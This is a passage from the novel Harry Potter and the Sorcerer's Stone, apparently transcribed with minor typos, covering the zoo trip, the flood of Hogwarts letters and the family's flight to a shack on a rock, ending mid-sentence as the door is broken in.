screeched. Harry heard her walking toward the kitchen and then +the sound of the frying pan being put on the stove. He rolled onto his +back and tried to remember the dream he had been having. It had been a +good one. There had been a flying motorcycle in it. He had a funny +feeling he'd had the same dream before. + +His aunt was back outside the door. + +"Are you up yet?" she demanded. + +"Nearly," said Harry. + +"Well, get a move on, I want you to look after the bacon. And don't you +dare let it burn, I want everything perfect on Duddy's birthday." + +Harry groaned. + +"What did you say?" his aunt snapped through the door. + +"Nothing, nothing..." + +Dudley's birthday -- how could he have forgotten? Harry got slowly out +of bed and started looking for socks. He found a pair under his bed and, +after pulling a spider off one of them, put them on. Harry was used to +spiders, because the cupboard under the stairs was full of them, and +that was where he slept. + +When he was dressed he went down the hall into the kitchen. The table +was almost hidden beneath all Dudley's birthday presents. It looked as +though Dudley had gotten the new computer he wanted, not to mention the +second television and the racing bike. Exactly why Dudley wanted a +racing bike was a mystery to Harry, as Dudley was very fat and hated +exercise -- unless of course it involved punching somebody. Dudley's +favorite punching bag was Harry, but he couldn't often catch him. Harry +didn't look it, but he was very fast. + +Perhaps it had something to do with living in a dark cupboard, but Harry +had always been small and skinny for his age. He looked even smaller and +skinnier than he really was because all he had to wear were old clothes +of Dudley's, and Dudley was about four times bigger than he was. Harry +had a thin face, knobbly knees, black hair, and bright green eyes. He +wore round glasses held together with a lot of Scotch tape because of +all the times Dudley had punched him on the nose. The only thing Harry +liked about his own appearance was a very thin scar on his forehead that +was shaped like a bolt of lightning. He had had it as long as he could +remember, and the first question he could ever remember asking his Aunt +Petunia was how he had gotten it. + +"In the car crash when your parents died," she had said. "And don't ask +questions." + +Don't ask questions -- that was the first rule for a quiet life with the +Dursleys. + +Uncle Vernon entered the kitchen as Harry was turning over the bacon. + +"Comb your hair!" he barked, by way of a morning greeting. + +About once a week, Uncle Vernon looked over the top of his newspaper and +shouted that Harry needed a haircut. Harry must have had more haircuts +than the rest of the boys in his class put + +together, but it made no difference, his hair simply grew that way -- +all over the place. + +Harry was frying eggs by the time Dudley arrived in the kitchen with his +mother. Dudley looked a lot like Uncle Vernon. He had a large pink face, +not much neck, small, watery blue eyes, and thick blond hair that lay +smoothly on his thick, fat head. Aunt Petunia often said that Dudley +looked like a baby angel -- Harry often said that Dudley looked like a +pig in a wig. + +Harry put the plates of egg and bacon on the table, which was difficult +as there wasn't much room. Dudley, meanwhile, was counting his presents. +His face fell. + +"Thirty-six," he said, looking up at his mother and father. "That's two +less than last year." + +"Darling, you haven't counted Auntie Marge's present, see, it's here +under this big one from Mommy and Daddy." + +"All right, thirty-seven then," said Dudley, going red in the face. +Harry, who could see a huge Dudley tantrum coming on, began wolfing down +his bacon as fast as possible in case Dudley turned the table over. + +Aunt Petunia obviously scented danger, too, because she said quickly, +"And we'll buy you another two presents while we're out today. How's +that, popkin? Two more presents. Is that all right'' + +Dudley thought for a moment. It looked like hard work. Finally he said +slowly, "So I'll have thirty ... thirty..." + +"Thirty-nine, sweetums," said Aunt Petunia. + +"Oh." Dudley sat down heavily and grabbed the nearest parcel. "All right +then." + +Uncle Vernon chuckled. "Little tyke wants his money's worth, just like +his father. 'Atta boy, Dudley!" He ruffled Dudley's hair. + +At that moment the telephone rang and Aunt Petunia went to answer it +while Harry and Uncle Vernon watched Dudley unwrap the racing bike, a +video camera, a remote control airplane, sixteen new computer games, and +a VCR. He was ripping the paper off a gold wristwatch when Aunt Petunia +came back from the telephone looking both angry and worried. + +"Bad news, Vernon," she said. "Mrs. Figg's broken her leg. She can't +take him." She jerked her head in Harry's direction. + +Dudley's mouth fell open in horror, but Harry's heart gave a leap. Every +year on Dudley's birthday, his parents took him and a friend out for the +day, to adventure parks, hamburger restaurants, or the movies. Every +year, Harry was left behind with Mrs. Figg, a mad old lady who lived two +streets away. Harry hated it there. The whole house smelled of cabbage +and Mrs. Figg made him look at photographs of all the cats she'd ever +owned. + +"Now what?" said Aunt Petunia, looking furiously at Harry as though he'd +planned this. Harry knew he ought to feel sorry that Mrs. Figg had +broken her leg, but it wasn't easy when he reminded himself it would be +a whole year before he had to look at Tibbles, Snowy, Mr. Paws, and +Tufty again. + +"We could phone Marge," Uncle Vernon suggested. + +"Don't be silly, Vernon, she hates the boy." + +The Dursleys often spoke about Harry like this, as though he wasn't +there -- or rather, as though he was something very nasty that couldn't +understand them, like a slug. + +"What about what's-her-name, your friend -- Yvonne?" + +"On vacation in Majorca," snapped Aunt Petunia. + +"You could just leave me here," Harry put in hopefully (he'd be able to +watch what he wanted on television for a change and maybe even have a go +on Dudley's computer). + +Aunt Petunia looked as though she'd just swallowed a lemon. + +"And come back and find the house in ruins?" she snarled. + +"I won't blow up the house," said Harry, but they weren't listening. + +"I suppose we could take him to the zoo," said Aunt Petunia slowly, "... +and leave him in the car...." + +"That car's new, he's not sitting in it alone...." + +Dudley began to cry loudly. In fact, he wasn't really crying -- it had +been years since he'd really cried -- but he knew that if he screwed up +his face and wailed, his mother would give him anything he wanted. + +"Dinky Duddydums, don't cry, Mummy won't let him spoil your special +day!" she cried, flinging her arms around him. + +"I... don't... want... him... t-t-to come!" Dudley yelled between huge, +pretend sobs. "He always sp- spoils everything!" He shot Harry a nasty +grin through the gap in his mother's arms. + +Just then, the doorbell rang -- "Oh, good Lord, they're here!" said Aunt +Petunia frantically -- and a moment later, Dudley's best friend, Piers +Polkiss, walked in with his mother. Piers was a scrawny boy with a face +like a rat. He was usually the one who held people's arms behind their +backs while Dudley hit them. Dudley stopped pretending to cry at once. + +Half an hour later, Harry, who couldn't believe his luck, was sitting in +the back of the Dursleys' car with Piers and Dudley, on the way to the +zoo for the first time in his life. His aunt and uncle hadn't been able +to think of anything else to do with him, but before they'd left, Uncle +Vernon had taken Harry aside. + +"I'm warning you," he had said, putting his large purple face right up +close to Harry's, "I'm warning you now, boy -- any funny business, +anything at all -- and you'll be in that cupboard from now until +Christmas." + +"I'm not going to do anything," said Harry, "honestly.. + +But Uncle Vernon didn't believe him. No one ever did. + +The problem was, strange things often happened around Harry and it was +just no good telling the Dursleys he didn't make them happen. + +Once, Aunt Petunia, tired of Harry coming back from the barbers looking +as though he hadn't been at all, had taken a pair of kitchen scissors +and cut his hair so short he was almost bald except for his bangs, which +she left "to hide that horrible scar." Dudley had laughed himself silly +at Harry, who spent a sleepless night imagining school the next day, +where he was already laughed at for his baggy clothes and taped glasses. +Next morning, however, he had gotten up to find his hair exactly as it +had been before Aunt Petunia had sheared it off He had been given a week +in his cupboard for this, even though he had tried to explain that he +couldn't explain how it had grown back so quickly. + +Another time, Aunt Petunia had been trying to force him into a revolting +old sweater of Dudley's (brown with orange puff balls) -- The harder she +tried to pull it over his head, the smaller it seemed to become, until +finally it might have fitted a hand puppet, but certainly wouldn't fit +Harry. Aunt Petunia had decided it must have shrunk in the wash and, to +his great relief, Harry wasn't punished. + +On the other hand, he'd gotten into terrible trouble for being found on +the roof of the school kitchens. Dudley's gang had been chasing him as +usual when, as much to Harry's surprise as anyone else's, there he was +sitting on the chimney. The Dursleys had received a very angry letter +from Harry's headmistress telling them Harry had been climbing school +buildings. But all he'd tried to do (as he shouted at Uncle Vernon +through the locked door of his cupboard) was jump behind the big trash +cans outside the kitchen doors. Harry supposed that the wind must have +caught him in mid- jump. + +But today, nothing was going to go wrong. It was even worth being with +Dudley and Piers to be spending the day somewhere that wasn't school, +his cupboard, or Mrs. Figg's cabbage-smelling living room. + +While he drove, Uncle Vernon complained to Aunt Petunia. He liked to +complain about things: people at work, Harry, the council, Harry, the +bank, and Harry were just a few of his favorite subjects. This morning, +it was motorcycles. + +"... roaring along like maniacs, the young hoodlums," he said, as a +motorcycle overtook them. + +I had a dream about a motorcycle," said Harry, remembering suddenly. "It +was flying." + +Uncle Vernon nearly crashed into the car in front. He turned right +around in his seat and yelled at Harry, his face like a gigantic beet +with a mustache: "MOTORCYCLES DON'T FLY!" + +Dudley and Piers sniggered. + +I know they don't," said Harry. "It was only a dream." + +But he wished he hadn't said anything. If there was one thing the +Dursleys hated even more than his asking questions, it was his talking +about anything acting in a way it shouldn't, no matter if it was in a +dream or even a cartoon -- they seemed to think he might get dangerous +ideas. + +It was a very sunny Saturday and the zoo was crowded with families. The +Dursleys bought Dudley and Piers large chocolate ice creams at the +entrance and then, because the smiling lady in the van had asked Harry +what he wanted before they could hurry him away, they bought him a cheap +lemon ice pop. It wasn't bad, either, Harry thought, licking it as they +watched a gorilla scratching its head who looked remarkably like Dudley, +except that it wasn't blond. + +Harry had the best morning he'd had in a long time. He was careful to +walk a little way apart from the Dursleys so that Dudley and Piers, who +were starting to get bored with the animals by lunchtime, wouldn't fall +back on their favorite hobby of hitting him. They ate in the zoo +restaurant, and when Dudley had a tantrum because his knickerbocker +glory didn't have enough ice cream on top, Uncle Vernon bought him +another one and Harry was allowed to finish the first. + +Harry felt, afterward, that he should have known it was all too good to +last. + +After lunch they went to the reptile house. It was cool and dark in +there, with lit windows all along the walls. Behind the glass, all sorts +of lizards and snakes were crawling and slithering over bits of wood and +stone. Dudley and Piers wanted to see huge, poisonous cobras and thick, +man-crushing pythons. Dudley quickly found the largest snake in the +place. It could have wrapped its body twice around Uncle Vernon's car +and crushed it into a trash can -- but at the moment it didn't look in +the mood. In fact, it was fast asleep. + +Dudley stood with his nose pressed against the glass, staring at the +glistening brown coils. + +"Make it move," he whined at his father. Uncle Vernon tapped on the +glass, but the snake didn't budge. + +"Do it again," Dudley ordered. Uncle Vernon rapped the glass smartly +with his knuckles, but the snake just snoozed on. + +"This is boring," Dudley moaned. He shuffled away. + +Harry moved in front of the tank and looked intently at the snake. He +wouldn't have been surprised if it had died of boredom itself -- no +company except stupid people drumming their fingers on the glass trying +to disturb it all day long. It was worse than having a cupboard as a +bedroom, where the only visitor was Aunt Petunia hammering on the door +to wake you up; at least he got to visit the rest of the house. + +The snake suddenly opened its beady eyes. Slowly, very slowly, it raised +its head until its eyes were on a level with Harry's. + +It winked. + +Harry stared. Then he looked quickly around to see if anyone was +watching. They weren't. He looked back at the snake and winked, too. + +The snake jerked its head toward Uncle Vernon and Dudley, then raised +its eyes to the ceiling. It gave Harry a look that said quite plainly: + +"I get that all the time. + +"I know," Harry murmured through the glass, though he wasn't sure the +snake could hear him. "It must be really annoying." + +The snake nodded vigorously. + +"Where do you come from, anyway?" Harry asked. + +The snake jabbed its tail at a little sign next to the glass. Harry +peered at it. + +Boa Constrictor, Brazil. + +"Was it nice there?" + +The boa constrictor jabbed its tail at the sign again and Harry read on: +This specimen was bred in the zoo. "Oh, I see -- so you've never been to +Brazil?" + +As the snake shook its head, a deafening shout behind Harry made both of +them jump. + +"DUDLEY! MR. DURSLEY! COME AND LOOK AT THIS SNAKE! YOU WON'T BELIEVE +WHAT IT'S DOING!" + +Dudley came waddling toward them as fast as he could. + +"Out of the way, you," he said, punching Harry in the ribs. Caught by +surprise, Harry fell hard on the concrete floor. What came next happened +so fast no one saw how it happened -- one second, Piers and Dudley were +leaning right up close to the glass, the next, they had leapt back with +howls of horror. + +Harry sat up and gasped; the glass front of the boa constrictor's tank +had vanished. The great snake was uncoiling itself rapidly, slithering +out onto the floor. People throughout the reptile house screamed and +started running for the exits. + +As the snake slid swiftly past him, Harry could have sworn a low, +hissing voice said, "Brazil, here I come.... Thanksss, amigo." + +The keeper of the reptile house was in shock. + +"But the glass," he kept saying, "where did the glass go?" + +The zoo director himself made Aunt Petunia a cup of strong, sweet tea +while he apologized over and over again. Piers and Dudley could only +gibber. As far as Harry had seen, the snake hadn't done anything except +snap playfully at their heels as it passed, but by the time they were +all back in Uncle Vernon's car, Dudley was telling them how it had +nearly bitten off his leg, while Piers was swearing it had tried to +squeeze him to death. But worst of all, for Harry at least, was Piers +calming down enough to say, "Harry was talking to it, weren't you, +Harry?" + +Uncle Vernon waited until Piers was safely out of the house before +starting on Harry. He was so angry he could hardly speak. He managed to +say, "Go -- cupboard -- stay -- no meals," before he collapsed into a +chair, and Aunt Petunia had to run and get him a large brandy. + +Harry lay in his dark cupboard much later, wishing he had a watch. He +didn't know what time it was and he couldn't be sure the Dursleys were +asleep yet. Until they were, he couldn't risk sneaking to the kitchen +for some food. + +He'd lived with the Dursleys almost ten years, ten miserable years, as +long as he could remember, ever since he'd been a baby and his parents +had died in that car crash. He couldn't remember being in the car when +his parents had died. Sometimes, when he strained his memory during long +hours in his cupboard, he came up with a strange vision: a blinding +flash of green light and a burn- ing pain on his forehead. This, he +supposed, was the crash, though he couldn't imagine where all the green +light came from. He couldn't remember his parents at all. His aunt and +uncle never spoke about them, and of course he was forbidden to ask +questions. There were no photographs of them in the house. + +When he had been younger, Harry had dreamed and dreamed of some unknown +relation coming to take him away, but it had never happened; the +Dursleys were his only family. Yet sometimes he thought (or maybe hoped) +that strangers in the street seemed to know him. Very strange strangers +they were, too. A tiny man in a violet top hat had bowed to him once +while out shopping with Aunt Petunia and Dudley. After asking Harry +furiously if he knew the man, Aunt Petunia had rushed them out of the +shop without buying anything. A wild-looking old woman dressed all in +green had waved merrily at him once on a bus. A bald man in a very long +purple coat had actually shaken his hand in the street the other day and +then walked away without a word. The weirdest thing about all these +people was the way they seemed to vanish the second Harry tried to get a +closer look. + +At school, Harry had no one. Everybody knew that Dudley's gang hated +that odd Harry Potter in his baggy old clothes and broken glasses, and +nobody liked to disagree with Dudley's gang. + + +CHAPTER THREE + +THE LETTERS FROM NO ONE + +The escape of the Brazilian boa constrictor earned Harry his +longest-ever punishment. By the time he was allowed out of his cupboard +again, the summer holidays had started and Dudley had already broken his +new video camera, crashed his remote control airplane, and, first time +out on his racing bike, knocked down old Mrs. Figg as she crossed Privet +Drive on her crutches. + +Harry was glad school was over, but there was no escaping Dudley's gang, +who visited the house every single day. Piers, Dennis, Malcolm, and +Gordon were all big and stupid, but as Dudley was the biggest and +stupidest of the lot, he was the leader. The rest of them were all quite +happy to join in Dudley's favorite sport: Harry Hunting. + +This was why Harry spent as much time as possible out of the house, +wandering around and thinking about the end of the holidays, where he +could see a tiny ray of hope. When September came he would be going off +to secondary school and, for the first time in his life, he wouldn't be +with Dudley. Dudley had been accepted at Uncle Vernon's old private +school, Smeltings. Piers Polkiss was going there too. Harry, on the +other hand, was going to Stonewall High, the local public school. Dudley +thought this was very funny. + +"They stuff people's heads down the toilet the first day at Stonewall," +he told Harry. "Want to come upstairs and practice?" + +"No, thanks," said Harry. "The poor toilet's never had anything as +horrible as your head down it -- it might be sick." Then he ran, before +Dudley could work out what he'd said. + +One day in July, Aunt Petunia took Dudley to London to buy his Smeltings +uniform, leaving Harry at Mrs. Figg's. Mrs. Figg wasn 't as bad as +usual. It turned out she'd broken her leg tripping over one of her cats, +and she didn't seem quite as fond of them as before. She let Harry watch +television and gave him a bit of chocolate cake that tasted as though +she'd had it for several years. + +That evening, Dudley paraded around the living room for the family in +his brand-new uniform. Smeltings' boys wore maroon tailcoats, orange +knickerbockers, and flat straw hats called boaters. They also carried +knobbly sticks, used for hitting each other while the teachers weren't +looking. This was supposed to be good training for later life. + +As he looked at Dudley in his new knickerbockers, Uncle Vernon said +gruffly that it was the proudest moment of his life. Aunt Petunia burst +into tears and said she couldn't believe it was her Ickle Dudleykins, he +looked so handsome and grown-up. Harry didn't trust himself to speak. He +thought two of his ribs might already have cracked from trying not to +laugh. + +There was a horrible smell in the kitchen the next morning when Harry +went in for breakfast. It seemed to be coming from a large metal tub in +the sink. He went to have a look. The tub was full of what looked like +dirty rags swimming in gray water. + +"What's this?" he asked Aunt Petunia. Her lips tightened as they always +did if he dared to ask a question. + +"Your new school uniform," she said. + +Harry looked in the bowl again. + +"Oh," he said, "I didn't realize it had to be so wet." + +"DotA be stupid," snapped Aunt Petunia. "I'm dyeing some of Dudley's old +things gray for you. It'll look just like everyone else's when I've +finished." + +Harry seriously doubted this, but thought it best not to argue. He sat +down at the table and tried not to think about how he was going to look +on his first day at Stonewall High -- like he was wearing bits of old +elephant skin, probably. + +Dudley and Uncle Vernon came in, both with wrinkled noses because of the +smell from Harry's new uniform. Uncle Vernon opened his newspaper as +usual and Dudley banged his Smelting stick, which he carried everywhere, +on the table. + +They heard the click of the mail slot and flop of letters on the +doormat. + +"Get the mail, Dudley," said Uncle Vernon from behind his paper. + +"Make Harry get it." + +"Get the mail, Harry." + +"Make Dudley get it." + +"Poke him with your Smelting stick, Dudley." + +Harry dodged the Smelting stick and went to get the mail. Three things +lay on the doormat: a postcard from Uncle Vernon's sister Marge, who was +vacationing on the Isle of Wight, a brown envelope that looked like a +bill, and -- a letter for Harry. + +Harry picked it up and stared at it, his heart twanging like a giant +elastic band. No one, ever, in his whole life, had written to him. Who +would? He had no friends, no other relatives -- he didn't belong to the +library, so he'd never even got rude notes asking for books back. Yet +here it was, a letter, addressed so plainly there could be no mistake: + +Mr. H. Potter + +The Cupboard under the Stairs + +4 Privet Drive + +Little Whinging + +Surrey + +The envelope was thick and heavy, made of yellowish parchment, and the +address was written in emerald-green ink. There was no stamp. + +Turning the envelope over, his hand trembling, Harry saw a purple wax +seal bearing a coat of arms; a lion, an eagle, a badger, and a snake +surrounding a large letter H. + +"Hurry up, boy!" shouted Uncle Vernon from the kitchen. "What are you +doing, checking for letter bombs?" He chuckled at his own joke. + +Harry went back to the kitchen, still staring at his letter. He handed +Uncle Vernon the bill and the postcard, sat down, and slowly began to +open the yellow envelope. + +Uncle Vernon ripped open the bill, snorted in disgust, and flipped over +the postcard. + +"Marge's ill," he informed Aunt Petunia. "Ate a funny whelk. --." + +"Dad!" said Dudley suddenly. "Dad, Harry's got something!" + +Harry was on the point of unfolding his letter, which was written on the +same heavy parchment as the envelope, when it was jerked sharply out of +his hand by Uncle Vernon. + +"That's mine!" said Harry, trying to snatch it back. + +"Who'd be writing to you?" sneered Uncle Vernon, shaking the letter open +with one hand and glancing at it. His face went from red to green faster +than a set of traffic lights. And it didn't stop there. Within seconds +it was the grayish white of old porridge. + +"P-P-Petunia!" he gasped. + +Dudley tried to grab the letter to read it, but Uncle Vernon held it +high out of his reach. Aunt Petunia took it curiously and read the first +line. For a moment it looked as though she might faint. She clutched her +throat and made a choking noise. + +"Vernon! Oh my goodness -- Vernon!" + +They stared at each other, seeming to have forgotten that Harry and +Dudley were still in the room. Dudley wasn't used to being ignored. He +gave his father a sharp tap on the head with his Smelting stick. + +"I want to read that letter," he said loudly. want to read it," said +Harry furiously, "as it's mine." + +"Get out, both of you," croaked Uncle Vernon, stuffing the letter back +inside its envelope. + +Harry didn't move. + +I WANT MY LETTER!" he shouted. + +"Let me see it!" demanded Dudley. + +"OUT!" roared Uncle Vernon, and he took both Harry and Dudley by the +scruffs of their necks and threw them into the hall, slamming the +kitchen door behind them. Harry and Dudley promptly had a furious but +silent fight over who would listen at the keyhole; Dudley won, so Harry, +his glasses dangling from one ear, lay flat on his stomach to listen at +the crack between door and floor. + +"Vernon," Aunt Petunia was saying in a quivering voice, "look at the +address -- how could they possibly know where he sleeps? You don't think +they're watching the house?" + +"Watching -- spying -- might be following us," muttered Uncle Vernon +wildly. + +"But what should we do, Vernon? Should we write back? Tell them we don't +want --" + +Harry could see Uncle Vernon's shiny black shoes pacing up and down the +kitchen. + +"No," he said finally. "No, we'll ignore it. If they don't get an +answer... Yes, that's best... we won't do anything.... + +"But --" + +"I'm not having one in the house, Petunia! Didn't we swear when we took +him in we'd stamp out that dangerous nonsense?" + +That evening when he got back from work, Uncle Vernon did something he'd +never done before; he visited Harry in his cupboard. + +"Where's my letter?" said Harry, the moment Uncle Vernon had squeezed +through the door. "Who's writing to me?" + +"No one. it was addressed to you by mistake," said Uncle Vernon shortly. +"I have burned it." + +"It was not a mistake," said Harry angrily, "it had my cupboard on it." + +"SILENCE!" yelled Uncle Vernon, and a couple of spiders fell from the +ceiling. He took a few deep breaths and then forced his face into a +smile, which looked quite painful. + +"Er -- yes, Harry -- about this cupboard. Your aunt and I have been +thinking... you're really getting a bit big for it... we think it might +be nice if you moved into Dudley's second bedroom. + +"Why?" said Harry. + +"Don't ask questions!" snapped his uncle. "Take this stuff upstairs, +now." + +The Dursleys' house had four bedrooms: one for Uncle Vernon and Aunt +Petunia, one for visitors (usually Uncle Vernon's sister, Marge), one +where Dudley slept, and one where Dudley kept all the toys and things +that wouldn't fit into his first bedroom. It only took Harry one trip +upstairs to move everything he owned from the cupboard to this room. He +sat down on the bed and stared around him. Nearly everything in here was +broken. The month-old video camera was lying on top of a small, working +tank Dudley had once driven over the next door neighbor's dog; in the +corner was Dudley's first-ever television set, which he'd put his foot +through when his favorite program had been canceled; there was a large +birdcage, which had once held a parrot that Dudley had swapped at school +for a real air rifle, which was up on a shelf with the end all bent +because Dudley had sat on it. Other shelves were full of books. They +were the only things in the room that looked as though they'd never been +touched. + +From downstairs came the sound of Dudley bawling at his mother, I don't +want him in there... I need that room... make him get out...." + +Harry sighed and stretched out on the bed. Yesterday he'd have given +anything to be up here. Today he'd rather be back in his cupboard with +that letter than up here without it. + +Next morning at breakfast, everyone was rather quiet. Dudley was in +shock. He'd screamed, whacked his father with his Smelting stick, been +sick on purpose, kicked his mother, and thrown his tortoise through the +greenhouse roof, and he still didn't have his room back. Harry was +thinking about this time yesterday and bitterly wishing he'd opened the +letter in the hall. Uncle Vernon and Aunt Petunia kept looking at each +other darkly. + +When the mail arrived, Uncle Vernon, who seemed to be trying to be nice +to Harry, made Dudley go and get it. They heard him banging things with +his Smelting stick all the way down the hall. Then he shouted, "There's +another one! 'Mr. H. Potter, The Smallest Bedroom, 4 Privet Drive --'" + +With a strangled cry, Uncle Vernon leapt from his seat and ran down the +hall, Harry right behind him. Uncle Vernon had to wrestle Dudley to the +ground to get the letter from him, which was made difficult by the fact +that Harry had grabbed Uncle Vernon around the neck from behind. After a +minute of confused fighting, in which everyone got hit a lot by the +Smelting stick, Uncle Vernon straightened up, gasping for breath, with +Harry's letter clutched in his hand. + +"Go to your cupboard -- I mean, your bedroom," he wheezed at Harry. +"Dudley -- go -- just go." + +Harry walked round and round his new room. Someone knew he had moved out +of his cupboard and they seemed to know he hadn't received his first +letter. Surely that meant they'd try again? And this time he'd make sure +they didn't fail. He had a plan. + +The repaired alarm clock rang at six o'clock the next morning. Harry +turned it off quickly and dressed silently. He mustn't wake the +Dursleys. He stole downstairs without turning on any of the lights. + +He was going to wait for the postman on the corner of Privet Drive and +get the letters for number four first. His heart hammered as he crept +across the dark hall toward the front door -- + +Harry leapt into the air; he'd trodden on something big and squashy on +the doormat -- something alive! + +Lights clicked on upstairs and to his horror Harry realized that the +big, squashy something had been his uncle's face. Uncle Vernon had been +lying at the foot of the front door in a sleeping bag, clearly making +sure that Harry didn't do exactly what he'd been trying to do. He +shouted at Harry for about half an hour and then told him to go and make +a cup of tea. Harry shuffled miserably off into the kitchen and by the +time he got back, the mail had arrived, right into Uncle Vernon's lap. +Harry could see three letters addressed in green ink. + +I want --" he began, but Uncle Vernon was tearing the letters into +pieces before his eyes. Uncle Vernon didnt go to work that day. He +stayed at home and nailed up the mail slot. + +"See," he explained to Aunt Petunia through a mouthful of nails, "if +they can't deliver them they'll just give up." + +"I'm not sure that'll work, Vernon." + +"Oh, these people's minds work in strange ways, Petunia, they're not +like you and me," said Uncle Vernon, trying to knock in a nail with the +piece of fruitcake Aunt Petunia had just brought him. + +On Friday, no less than twelve letters arrived for Harry. As they +couldn't go through the mail slot they had been pushed under the door, +slotted through the sides, and a few even forced through the small +window in the downstairs bathroom. + +Uncle Vernon stayed at home again. After burning all the letters, he got +out a hammer and nails and boarded up the cracks around the front and +back doors so no one could go out. He hummed "Tiptoe Through the Tulips" +as he worked, and jumped at small noises. + +On Saturday, things began to get out of hand. Twenty-four letters to +Harry found their way into the house, rolled up and hidden inside each +of the two dozen eggs that their very confused milkman had handed Aunt +Petunia through the living room window. While Uncle Vernon made furious +telephone calls to the post office and the dairy trying to find someone +to complain to, Aunt Petunia shredded the letters in her food processor. + +"Who on earth wants to talk to you this badly?" Dudley asked Harry in +amazement. + +On Sunday morning, Uncle Vernon sat down at the breakfast table looking +tired and rather ill, but happy. + +"No post on Sundays," he reminded them cheerfully as he spread marmalade +on his newspapers, "no damn letters today --" + +Something came whizzing down the kitchen chimney as he spoke and caught +him sharply on the back of the head. Next moment, thirty or forty +letters came pelting out of the fireplace like bullets. The Dursleys +ducked, but Harry leapt into the air trying to catch one. + +"Out! OUT!" + +Uncle Vernon seized Harry around the waist and threw him into the hall. +When Aunt Petunia and Dudley had run out with their arms over their +faces, Uncle Vernon slammed the door shut. They could hear the letters +still streaming into the room, bouncing off the walls and floor. + +"That does it," said Uncle Vernon, trying to speak calmly but pulling +great tufts out of his mustache at the same time. I want you all back +here in five minutes ready to leave. We're going away. Just pack some +clothes. No arguments!" + +He looked so dangerous with half his mustache missing that no one dared +argue. Ten minutes later they had wrenched their way through the +boarded-up doors and were in the car, speeding toward the highway. +Dudley was sniffling in the back seat; his father had hit him round the +head for holding them up while he tried to pack his television, VCR, and +computer in his sports bag. + +They drove. And they drove. Even Aunt Petunia didn't dare ask where they +were going. Every now and then Uncle Vernon would take a sharp turn and +drive in the opposite direction for a while. "Shake'em off... shake 'em +off," he would mutter whenever he did this. + +They didn't stop to eat or drink all day. By nightfall Dudley was +howling. He'd never had such a bad day in his life. He was hungry, he'd +missed five television programs he'd wanted to see, and he'd never gone +so long without blowing up an alien on his computer. + +Uncle Vernon stopped at last outside a gloomy-looking hotel on the +outskirts of a big city. Dudley and Harry shared a room with twin beds +and damp, musty sheets. Dudley snored but Harry stayed awake, sitting on +the windowsill, staring down at the lights of passing cars and +wondering.... + +They ate stale cornflakes and cold tinned tomatoes on toast for +breakfast the next day. They had just finished when the owner of the +hotel came over to their table. + +"'Scuse me, but is one of you Mr. H. Potter? Only I got about an 'undred +of these at the front desk." + +She held up a letter so they could read the green ink address: + +Mr. H. Potter + +Room 17 + +Railview Hotel + +Cokeworth + +Harry made a grab for the letter but Uncle Vernon knocked his hand out +of the way. The woman stared. + +"I'll take them," said Uncle Vernon, standing up quickly and following +her from the dining room. + +Wouldn't it be better just to go home, dear?" Aunt Petunia suggested +timidly, hours later, but Uncle Vernon didn't seem to hear her. Exactly +what he was looking for, none of them knew. He drove them into the +middle of a forest, got out, looked around, shook his head, got back in +the car, and off they went again. The same thing happened in the middle +of a plowed field, halfway across a suspension bridge, and at the top of +a multilevel parking garage. + +"Daddy's gone mad, hasn't he?" Dudley asked Aunt Petunia dully late that +afternoon. Uncle Vernon had parked at the coast, locked them all inside +the car, and disappeared. + +It started to rain. Great drops beat on the roof of the car. Dud ley +sniveled. + +"It's Monday," he told his mother. "The Great Humberto's on tonight. I +want to stay somewhere with a television. " + +Monday. This reminded Harry of something. If it was Monday -- and you +could usually count on Dudley to know the days the week, because of +television -- then tomorrow, Tuesday, was Harry's eleventh birthday. Of +course, his birthdays were never exactly fun -- last year, the Dursleys +had given him a coat hanger and a pair of Uncle Vernon's old socks. +Still, you weren't eleven every day. + +Uncle Vernon was back and he was smiling. He was also carrying a long, +thin package and didn't answer Aunt Petunia when she asked what he'd +bought. + +"Found the perfect place!" he said. "Come on! Everyone out!" + +It was very cold outside the car. Uncle Vernon was pointing at what +looked like a large rock way out at sea. Perched on top of the rock was +the most miserable little shack you could imagine. One thing was +certain, there was no television in there. + +"Storm forecast for tonight!" said Uncle Vernon gleefully, clapping his +hands together. "And this gentleman's kindly agreed to lend us his +boat!" + +A toothless old man came ambling up to them, pointing, with a rather +wicked grin, at an old rowboat bobbing in the iron-gray water below +them. + +"I've already got us some rations," said Uncle Vernon, "so all aboard!" + +It was freezing in the boat. Icy sea spray and rain crept down their +necks and a chilly wind whipped their faces. After what seemed like +hours they reached the rock, where Uncle Vernon, slipping and sliding, +led the way to the broken-down house. + +The inside was horrible; it smelled strongly of seaweed, the wind +whistled through the gaps in the wooden walls, and the fireplace was +damp and empty. There were only two rooms. + +Uncle Vernon's rations turned out to be a bag of chips each and four +bananas. He tried to start a fire but the empty chip bags just smoked +and shriveled up. + +"Could do with some of those letters now, eh?" he said cheerfully. + +He was in a very good mood. Obviously he thought nobody stood a chance +of reaching them here in a storm to deliver mail. Harry privately +agreed, though the thought didn't cheer him up at all. + +As night fell, the promised storm blew up around them. Spray from the +high waves splattered the walls of the hut and a fierce wind rattled the +filthy windows. Aunt Petunia found a few moldy blankets in the second +room and made up a bed for Dudley on the moth-eaten sofa. She and Uncle +Vernon went off to the lumpy bed next door, and Harry was left to find +the softest bit of floor he could and to curl up under the thinnest, +most ragged blanket. + +The storm raged more and more ferociously as the night went on. Harry +couldn't sleep. He shivered and turned over, trying to get comfortable, +his stomach rumbling with hunger. Dudley's snores were drowned by the +low rolls of thunder that started near midnight. The lighted dial of +Dudley's watch, which was dangling over the edge of the sofa on his fat +wrist, told Harry he'd be eleven in ten minutes' time. He lay and +watched his birthday tick nearer, wondering if the Dursleys would +remember at all, wondering where the letter writer was now. + +Five minutes to go. Harry heard something creak outside. He hoped the +roof wasn't going to fall in, although he might be warmer if it did. +Four minutes to go. Maybe the house in Privet Drive would be so full of +letters when they got back that he'd be able to steal one somehow. + +Three minutes to go. Was that the sea, slapping hard on the rock like +that? And (two minutes to go) what was that funny crunching noise? Was +the rock crumbling into the sea? + +One minute to go and he'd be eleven. Thirty seconds... twenty ... ten... +nine -- maybe he'd wake Dudley up, just to annoy him -- three... two... +one... + +BOOM. + +The whole shack shivered and Harry sat bolt upright, staring at the +door. Someone was outside, knocking to come in. + + +CHAPTER FOUR + +THE KEEPER OF THE KEYS + +BOOM. They knocked again. Dudley jerked awake. "Where's the cannon?" he +said stupidly. + +There was a crash behind them and Uncle Vernon came skidding into the +room. He was holding a rifle in his hands -- now they knew what had been +in the long, thin package he had brought with them. + +"Who's there?" he shouted. "I warn you -- I'm armed!" + +There was a pause. Then -- + +SMASH! + +The door was hit with such force that it swung clean off its hinges and +with a deafening crash 